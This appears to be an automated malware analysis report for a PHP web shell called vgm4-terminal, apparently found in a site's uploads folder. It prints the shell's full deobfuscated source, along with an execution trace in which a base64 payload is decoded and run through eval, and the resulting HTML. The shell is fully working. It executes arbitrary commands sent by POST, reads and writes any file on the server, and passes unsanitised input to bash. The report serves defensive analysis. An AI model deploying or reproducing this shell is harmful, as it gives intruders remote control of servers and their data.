PHP Malware Analysis

vgm4-terminal.pHp

md5: d8d6e2a1b2c97d997a05d7cc58ba9d18

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

eval /* PHPDeobfuscator eval output */ {
    function featureShell($cmd, $cwd)
    {
        $stdout = array();
        if (preg_match("/^\\s*cd\\s*\$/", $cmd)) {
            // pass
        } elseif (preg_match("/^\\s*cd\\s+(.+)\\s*(2>&1)?\$/", $cmd)) {
            chdir($cwd);
            preg_match("/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?\$/", $cmd, $match);
            chdir($match[1]);
        } elseif (preg_match("/^\\s*download\\s+[^\\s]+\\s*(2>&1)?\$/", $cmd)) {
            chdir($cwd);
            preg_match("/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?\$/", $cmd, $match);
            return featureDownload($match[1]);
        } else {
            chdir($cwd);
            exec($cmd, $stdout);
        }
        return array("stdout" => $stdout, "cwd" => getcwd());
    }
    function featurePwd()
    {
        return array("cwd" => getcwd());
    }
    function featureHint($fileName, $cwd, $type)
    {
        chdir($cwd);
        if ($type == 'cmd') {
            $cmd = "compgen -c {$fileName}";
        } else {
            $cmd = "compgen -f {$fileName}";
        }
        $cmd = "/bin/bash -c \"{$cmd}\"";
        $files = explode("\n", shell_exec($cmd));
        return array('files' => $files);
    }
    function featureDownload($filePath)
    {
        $file = @file_get_contents($filePath);
        if ($file === FALSE) {
            return array('stdout' => array('File not found / no read permission.'), 'cwd' => getcwd());
        } else {
            return array('name' => basename($filePath), 'file' => base64_encode($file));
        }
    }
    function featureUpload($path, $file, $cwd)
    {
        chdir($cwd);
        $f = @fopen($path, 'wb');
        if ($f === FALSE) {
            return array('stdout' => array('Invalid path / no write permission.'), 'cwd' => getcwd());
        } else {
            fwrite($f, base64_decode($file));
            fclose($f);
            return array('stdout' => array('Done.'), 'cwd' => getcwd());
        }
    }
    if (isset($_GET["feature"])) {
        $response = NULL;
        switch ($_GET["feature"]) {
            case "shell":
                $cmd = $_POST['cmd'];
                if (!preg_match('/2>/', $cmd)) {
                    $cmd .= ' 2>&1';
                }
                $response = featureShell($cmd, $_POST["cwd"]);
                break;
            case "pwd":
                $response = featurePwd();
                break;
            case "hint":
                $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
                break;
            case 'upload':
                $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
        }
        header("Content-Type: application/json");
        echo json_encode($response);
        die;
    }
    ?><!DOCTYPE html>

<html>

    <head>
    <link rel="icon" type="image/x-icon" href="https://convertico.com/images/1649872806.286/Untitled-1.ico">
        <meta charset="UTF-8" />
        <title>VGM4@shell:~$</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <h1 style="font-family: monospace; text-align: center;"><span style="color: #00ff00;">MrVGunz</span> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;">MrH4ted</span></h1>
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #191919;
                color: #eee;
                font-family: monospace;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #000000;
                max-width: 1234px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

            #shell-content {
                height: 498px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #ff0000;
                text-align: center;
            }

            @media (max-width: 991px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }

                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

                #shell {
                    margin-top: 0;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #ff2020;
            }

            .shell-prompt > span {
                color: #00ff00;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #00ff00;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "vgm4@terminal:<span title=\"" + cwd + "\">" + shortCwd + "</span>$";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
__     ______ __  __ _  _     ____  _                      _             _ <span></span>
\ \   / / ___|  \/  | || |   / __ \| |_ ___ _ __ _ __ ___ (_)_ __   __ _| |<span></span>
 \ \ / / |  _| |\/| | || |_ / / _` | __/ _ \ '__| '_ ` _ \| | '_ \ / _` | |<span></span>
  \ V /| |_| | |  | |__   _| | (_| | ||  __/ |  | | | | | | | | | | (_| | |<span></span>
   \_/  \____|_|  |_|  |_|  \ \__,_|\__\___|_|  |_| |_| |_|_|_| |_|\__,_|_|<span></span>
                             \____/                                        <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">vgm4@terminal:~$ </label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html><?php 
};

Execution traces

data/traces/d8d6e2a1b2c97d997a05d7cc58ba9d18_trace-1676262482.6513.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:28:28.549177]
1	0	1	0.000186	393576
1	3	0	0.000338	418072	{main}	1		/var/www/html/uploads/vgm4-terminal.pHp	0	0
2	4	0	0.000355	418072	base64_decode	0		/var/www/html/uploads/vgm4-terminal.pHp	1	1	'PD9waHANCg0KZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQsICRjd2QpIHsNCiAgICAkc3Rkb3V0ID0gYXJyYXkoKTsNCg0KICAgIGlmIChwcmVnX21hdGNoKCIvXlxzKmNkXHMqJC8iLCAkY21kKSkgew0KICAgICAgICAvLyBwYXNzDQogICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goIi9eXHMqY2RccysoLispXHMqKDI+JjEpPyQvIiwgJGNtZCkpIHsNCiAgICAgICAgY2hkaXIoJGN3ZCk7DQogICAgICAgIHByZWdfbWF0Y2goIi9eXHMqY2RccysoW15cc10rKVxzKigyPiYxKT8kLyIsICRjbWQsICRtYXRjaCk7DQogICAgICAgIGNoZGlyKCRtYXRjaFsxXSk7DQogICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goIi9eXHMqZG93bmxvYWRccytbXlxzXStccyooMj4mMSk/JC8iLCAkY21k'
2	4	1	0.000456	442680
2	4	R			'<?php\r\n\r\nfunction featureShell($cmd, $cwd) {\r\n    $stdout = array();\r\n\r\n    if (preg_match("/^\\s*cd\\s*$/", $cmd)) {\r\n        // pass\r\n    } elseif (preg_match("/^\\s*cd\\s+(.+)\\s*(2>&1)?$/", $cmd)) {\r\n        chdir($cwd);\r\n        preg_match("/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match);\r\n        chdir($match[1]);\r\n    } elseif (preg_match("/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/", $cmd)) {\r\n        chdir($cwd);\r\n        preg_match("/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/"'
2	5	0	0.000659	476392	eval	1	'?><?php\r\n\r\nfunction featureShell($cmd, $cwd) {\r\n    $stdout = array();\r\n\r\n    if (preg_match("/^\\s*cd\\s*$/", $cmd)) {\r\n        // pass\r\n    } elseif (preg_match("/^\\s*cd\\s+(.+)\\s*(2>&1)?$/", $cmd)) {\r\n        chdir($cwd);\r\n        preg_match("/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match);\r\n        chdir($match[1]);\r\n    } elseif (preg_match("/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/", $cmd)) {\r\n        chdir($cwd);\r\n        preg_match("/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match);\r\n        return featureDownload($match[1]);\r\n    } else {\r\n        chdir($cwd);\r\n        exec($cmd, $stdout);\r\n    }\r\n\r\n    return array(\r\n        "stdout" => $stdout,\r\n        "cwd" => getcwd()\r\n    );\r\n}\r\n\r\nfunction featurePwd() {\r\n    return array("cwd" => getcwd());\r\n}\r\n\r\nfunction featureHint($fileName, $cwd, $type) {\r\n    chdir($cwd);\r\n    if ($type == \'cmd\') {\r\n        $cmd = "compgen -c $fileName";\r\n    } else {\r\n        $cmd = "compgen -f $fileName";\r\n    }\r\n    $cmd = "/bin/bash -c \\"$cmd\\"";\r\n    $files = explode("\\n", shell_exec($cmd));\r\n    return array(\r\n        \'files\' => $files,\r\n    );\r\n}\r\n\r\nfunction featureDownload($filePath) {\r\n    $file = @file_get_contents($filePath);\r\n    if ($file === FALSE) {\r\n        return array(\r\n            \'stdout\' => array(\'File not found / no read permission.\'),\r\n            \'cwd\' => getcwd()\r\n        );\r\n    } else {\r\n        return array(\r\n            \'name\' => basename($filePath),\r\n            \'file\' => base64_encode($file)\r\n        );\r\n    }\r\n}\r\n\r\nfunction featureUpload($path, $file, $cwd) {\r\n    chdir($cwd);\r\n    $f = @fopen($path, \'wb\');\r\n    if ($f === FALSE) {\r\n        return array(\r\n            \'stdout\' => array(\'Invalid path / no write permission.\'),\r\n            \'cwd\' => getcwd()\r\n        );\r\n    } else {\r\n        fwrite($f, base64_decode($file));\r\n        fclose($f);\r\n        return array(\r\n            \'stdout\' => array(\'Done.\'),\r\n            \'cwd\' => getcwd()\r\n        );\r\n    }\r\n}\r\n\r\nif (isset($_GET["feature"])) {\r\n\r\n    $response = NULL;\r\n\r\n    switch ($_GET["feature"]) {\r\n        case "shell":\r\n            $cmd = $_POST[\'cmd\'];\r\n            if (!preg_match(\'/2>/\', $cmd)) {\r\n                $cmd .= \' 2>&1\';\r\n            }\r\n            $response = featureShell($cmd, $_POST["cwd"]);\r\n            break;\r\n        case "pwd":\r\n            $response = featurePwd();\r\n            break;\r\n        case "hint":\r\n            $response = featureHint($_POST[\'filename\'], $_POST[\'cwd\'], $_POST[\'type\']);\r\n            break;\r\n        case \'upload\':\r\n            $response = featureUpload($_POST[\'path\'], $_POST[\'file\'], $_POST[\'cwd\']);\r\n    }\r\n\r\n    header("Content-Type: application/json");\r\n    echo json_encode($response);\r\n    die();\r\n}\r\n\r\n?><!DOCTYPE html>\r\n\r\n<html>\r\n\r\n    <head>\r\n    <link rel="icon" type="image/x-icon" href="https://convertico.com/images/1649872806.286/Untitled-1.ico">\r\n        <meta charset="UTF-8" />\r\n        <title>VGM4@shell:~$</title>\r\n        <meta name="viewport" content="width=device-width, initial-scale=1.0" />\r\n        <h1 style="font-family: monospace; text-align: center;"><span style="color: #00ff00;">MrVGunz</span> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;">MrH4ted</span></h1>\r\n        <style>\r\n            html, body {\r\n                margin: 0;\r\n                padding: 0;\r\n                background: #191919;\r\n                color: #eee;\r\n                font-family: monospace;\r\n            }\r\n\r\n            *::-webkit-scrollbar-track {\r\n                border-radius: 8px;\r\n                background-color: #353535;\r\n            }\r\n\r\n            *::-webkit-scrollbar {\r\n                width: 8px;\r\n                height: 8px;\r\n            }\r\n\r\n            *::-webkit-scrollbar-thumb {\r\n                border-radius: 8px;\r\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\r\n                background-color: #bcbcbc;\r\n            }\r\n\r\n            #shell {\r\n                background: #000000;\r\n                max-width: 1234px;\r\n                margin: 50px auto 0 auto;\r\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\r\n                font-size: 10pt;\r\n                display: flex;\r\n                flex-direction: column;\r\n                align-items: stretch;\r\n            }\r\n\r\n            #shell-content {\r\n                height: 498px;\r\n                overflow: auto;\r\n                padding: 5px;\r\n                white-space: pre-wrap;\r\n                flex-grow: 1;\r\n            }\r\n\r\n            #shell-logo {\r\n                font-weight: bold;\r\n                color: #ff0000;\r\n                text-align: center;\r\n            }\r\n\r\n            @media (max-width: 991px) {\r\n                #shell-logo {\r\n                    font-size: 6px;\r\n                    margin: -25px 0;\r\n                }\r\n\r\n                html, body, #shell {\r\n                    height: 100%;\r\n                    width: 100%;\r\n                    max-width: none;\r\n                }\r\n\r\n                #shell {\r\n                    margin-top: 0;\r\n                }\r\n            }\r\n\r\n            @media (max-width: 767px) {\r\n                #shell-input {\r\n                    flex-direction: column;\r\n                }\r\n            }\r\n\r\n            @media (max-width: 320px) {\r\n                #shell-logo {\r\n                    font-size: 5px;\r\n                }\r\n            }\r\n\r\n            .shell-prompt {\r\n                font-weight: bold;\r\n                color: #ff2020;\r\n            }\r\n\r\n            .shell-prompt > span {\r\n                color: #00ff00;\r\n            }\r\n\r\n            #shell-input {\r\n                display: flex;\r\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\r\n                border-top: rgba(255, 255, 255, .05) solid 1px;\r\n            }\r\n\r\n            #shell-input > label {\r\n                flex-grow: 0;\r\n                display: block;\r\n                padding: 0 5px;\r\n                height: 30px;\r\n                line-height: 30px;\r\n            }\r\n\r\n            #shell-input #shell-cmd {\r\n                height: 30px;\r\n                line-height: 30px;\r\n                border: none;\r\n                background: transparent;\r\n                color: #00ff00;\r\n                font-family: monospace;\r\n                font-size: 10pt;\r\n                width: 100%;\r\n                align-self: center;\r\n            }\r\n\r\n            #shell-input div {\r\n                flex-grow: 1;\r\n                align-items: stretch;\r\n            }\r\n\r\n            #shell-input input {\r\n                outline: none;\r\n            }\r\n        </style>\r\n\r\n        <script>\r\n            var CWD = null;\r\n            var commandHistory = [];\r\n            var historyPosition = 0;\r\n            var eShellCmdInput = null;\r\n            var eShellContent = null;\r\n\r\n            function _insertCommand(command) {\r\n                eShellContent.innerHTML += "\\n\\n";\r\n                eShellContent.innerHTML += \'<span class=\\"shell-prompt\\">\' + genPrompt(CWD) + \'</span> \';\r\n                eShellContent.innerHTML += escapeHtml(command);\r\n                eShellContent.innerHTML += "\\n";\r\n                eShellContent.scrollTop = eShellContent.scrollHeight;\r\n            }\r\n\r\n            function _insertStdout(stdout) {\r\n                eShellContent.innerHTML += escapeHtml(stdout);\r\n                eShellContent.scrollTop = eShellContent.scrollHeight;\r\n            }\r\n\r\n            function _defer(callback) {\r\n                setTimeout(callback, 0);\r\n            }\r\n\r\n            function featureShell(command) {\r\n\r\n                _insertCommand(command);\r\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\r\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\r\n                } else if (/^\\s*clear\\s*$/.test(command)) {\r\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\r\n                    eShellContent.innerHTML = \'\';\r\n                } else {\r\n                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {\r\n                        if (response.hasOwnProperty(\'file\')) {\r\n                            featureDownload(response.name, response.file)\r\n                        } else {\r\n                            _insertStdout(response.stdout.join("\\n"));\r\n                            updateCwd(response.cwd);\r\n                        }\r\n                    });\r\n                }\r\n            }\r\n\r\n            function featureHint() {\r\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\r\n\r\n                function _requestCallback(data) {\r\n                    if (data.files.length <= 1) return;  // no completion\r\n\r\n                    if (data.files.length === 2) {\r\n                        if (type === \'cmd\') {\r\n                            eShellCmdInput.value = data.files[0];\r\n                        } else {\r\n                            var currentValue = eShellCmdInput.value;\r\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\r\n                        }\r\n                    } else {\r\n                        _insertCommand(eShellCmdInput.value);\r\n                        _insertStdout(data.files.join("\\n"));\r\n                    }\r\n                }\r\n\r\n                var currentCmd = eShellCmdInput.value.split(" ");\r\n                var type = (currentCmd.length === 1) ? "cmd" : "file";\r\n                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\r\n\r\n                makeRequest(\r\n                    "?feature=hint",\r\n                    {\r\n                        filename: fileName,\r\n                        cwd: CWD,\r\n                        type: type\r\n                    },\r\n                    _requestCallback\r\n                );\r\n\r\n            }\r\n\r\n            function featureDownload(name, file) {\r\n                var element = document.createElement(\'a\');\r\n                element.setAttribute(\'href\', \'data:application/octet-stream;base64,\' + file);\r\n                element.setAttribute(\'download\', name);\r\n                element.style.display = \'none\';\r\n                document.body.appendChild(element);\r\n                element.click();\r\n                document.body.removeChild(element);\r\n                _insertStdout(\'Done.\');\r\n            }\r\n\r\n            function featureUpload(path) {\r\n                var element = document.createElement(\'input\');\r\n                element.setAttribute(\'type\', \'file\');\r\n                element.style.display = \'none\';\r\n                document.body.appendChild(element);\r\n                element.addEventListener(\'change\', function () {\r\n                    var promise = getBase64(element.files[0]);\r\n                    promise.then(function (file) {\r\n                        makeRequest(\'?feature=upload\', {path: path, file: file, cwd: CWD}, function (response) {\r\n                            _insertStdout(response.stdout.join("\\n"));\r\n                            updateCwd(response.cwd);\r\n                        });\r\n                    }, function () {\r\n                        _insertStdout(\'An unknown client-side error occurred.\');\r\n                    });\r\n                });\r\n                element.click();\r\n                document.body.removeChild(element);\r\n            }\r\n\r\n            function getBase64(file, onLoadCallback) {\r\n                return new Promise(function(resolve, reject) {\r\n                    var reader = new FileReader();\r\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\r\n                    reader.onerror = reject;\r\n                    reader.readAsDataURL(file);\r\n                });\r\n            }\r\n\r\n            function genPrompt(cwd) {\r\n                cwd = cwd || "~";\r\n                var shortCwd = cwd;\r\n                if (cwd.split("/").length > 3) {\r\n                    var splittedCwd = cwd.split("/");\r\n                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];\r\n                }\r\n                return "vgm4@terminal:<span title=\\"" + cwd + "\\">" + shortCwd + "</span>$";\r\n            }\r\n\r\n            function updateCwd(cwd) {\r\n                if (cwd) {\r\n                    CWD = cwd;\r\n                    _updatePrompt();\r\n                    return;\r\n                }\r\n                makeRequest("?feature=pwd", {}, function(response) {\r\n                    CWD = response.cwd;\r\n                    _updatePrompt();\r\n                });\r\n\r\n            }\r\n\r\n            function escapeHtml(string) {\r\n                return string\r\n                    .replace(/&/g, "&amp;")\r\n                    .replace(/</g, "&lt;")\r\n                    .replace(/>/g, "&gt;");\r\n            }\r\n\r\n            function _updatePrompt() {\r\n                var eShellPrompt = document.getElementById("shell-prompt");\r\n                eShellPrompt.innerHTML = genPrompt(CWD);\r\n            }\r\n\r\n            function _onShellCmdKeyDown(event) {\r\n                switch (event.key) {\r\n                    case "Enter":\r\n                        featureShell(eShellCmdInput.value);\r\n                        insertToHistory(eShellCmdInput.value);\r\n                        eShellCmdInput.value = "";\r\n                        break;\r\n                    case "ArrowUp":\r\n                        if (historyPosition > 0) {\r\n                            historyPosition--;\r\n                            eShellCmdInput.blur();\r\n                            eShellCmdInput.value = commandHistory[historyPosition];\r\n                            _defer(function() {\r\n                                eShellCmdInput.focus();\r\n                            });\r\n                        }\r\n                        break;\r\n                    case "ArrowDown":\r\n                        if (historyPosition >= commandHistory.length) {\r\n                            break;\r\n                        }\r\n                        historyPosition++;\r\n                        if (historyPosition === commandHistory.length) {\r\n                            eShellCmdInput.value = "";\r\n                        } else {\r\n                            eShellCmdInput.blur();\r\n                            eShellCmdInput.focus();\r\n                            eShellCmdInput.value = commandHistory[historyPosition];\r\n                        }\r\n                        break;\r\n                    case \'Tab\':\r\n                        event.preventDefault();\r\n                        featureHint();\r\n                        break;\r\n                }\r\n            }\r\n\r\n            function insertToHistory(cmd) {\r\n                commandHistory.push(cmd);\r\n                historyPosition = commandHistory.length;\r\n            }\r\n\r\n            function makeRequest(url, params, callback) {\r\n                function getQueryString() {\r\n                    var a = [];\r\n                    for (var key in params) {\r\n                        if (params.hasOwnProperty(key)) {\r\n                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));\r\n                        }\r\n                    }\r\n                    return a.join("&");\r\n                }\r\n                var xhr = new XMLHttpRequest();\r\n                xhr.open("POST", url, true);\r\n                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");\r\n                xhr.onreadystatechange = function() {\r\n                    if (xhr.readyState === 4 && xhr.status === 200) {\r\n                        try {\r\n                            var responseJson = JSON.parse(xhr.responseText);\r\n                            callback(responseJson);\r\n                        } catch (error) {\r\n                            alert("Error while parsing response: " + error);\r\n                        }\r\n                    }\r\n                };\r\n                xhr.send(getQueryString());\r\n            }\r\n\r\n            document.onclick = function(event) {\r\n                event = event || window.event;\r\n                var selection = window.getSelection();\r\n                var target = event.target || event.srcElement;\r\n\r\n                if (target.tagName === "SELECT") {\r\n                    return;\r\n                }\r\n\r\n                if (!selection.toString()) {\r\n                    eShellCmdInput.focus();\r\n                }\r\n            };\r\n\r\n            window.onload = function() {\r\n                eShellCmdInput = document.getElementById("shell-cmd");\r\n                eShellContent = document.getElementById("shell-content");\r\n                updateCwd();\r\n                eShellCmdInput.focus();\r\n            };\r\n        </script>\r\n    </head>\r\n\r\n    <body>\r\n        <div id="shell">\r\n            <pre id="shell-content">\r\n                <div id="shell-logo">\r\n__     ______ __  __ _  _     ____  _                      _             _ <span></span>\r\n\\ \\   / / ___|  \\/  | || |   / __ \\| |_ ___ _ __ _ __ ___ (_)_ __   __ _| |<span></span>\r\n \\ \\ / / |  _| |\\/| | || |_ / / _` | __/ _ \\ \'__| \'_ ` _ \\| | \'_ \\ / _` | |<span></span>\r\n  \\ V /| |_| | |  | |__   _| | (_| | ||  __/ |  | | | | | | | | | | (_| | |<span></span>\r\n   \\_/  \\____|_|  |_|  |_|  \\ \\__,_|\\__\\___|_|  |_| |_| |_|_|_| |_|\\__,_|_|<span></span>\r\n                             \\____/                                        <span></span>\r\n                </div>\r\n            </pre>\r\n            <div id="shell-input">\r\n                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">vgm4@terminal:~$ </label>\r\n                <div>\r\n                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </body>\r\n\r\n</html>'	/var/www/html/uploads/vgm4-terminal.pHp	1	0
2	5	1	0.001208	484696
1	3	1	0.001219	461640
			0.001242	348728
TRACE END   [2023-02-13 02:28:28.550288]


Generated HTML code

<html><head>
    <link rel="icon" type="image/x-icon" href="https://convertico.com/images/1649872806.286/Untitled-1.ico">
        <meta charset="UTF-8">
        <title>VGM4@shell:~$</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        </head><body><h1 style="font-family: monospace; text-align: center;"><span style="color: #00ff00;">MrVGunz</span> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;">MrH4ted</span></h1>
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #191919;
                color: #eee;
                font-family: monospace;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #000000;
                max-width: 1234px;
                margin: 50px auto 0 auto;
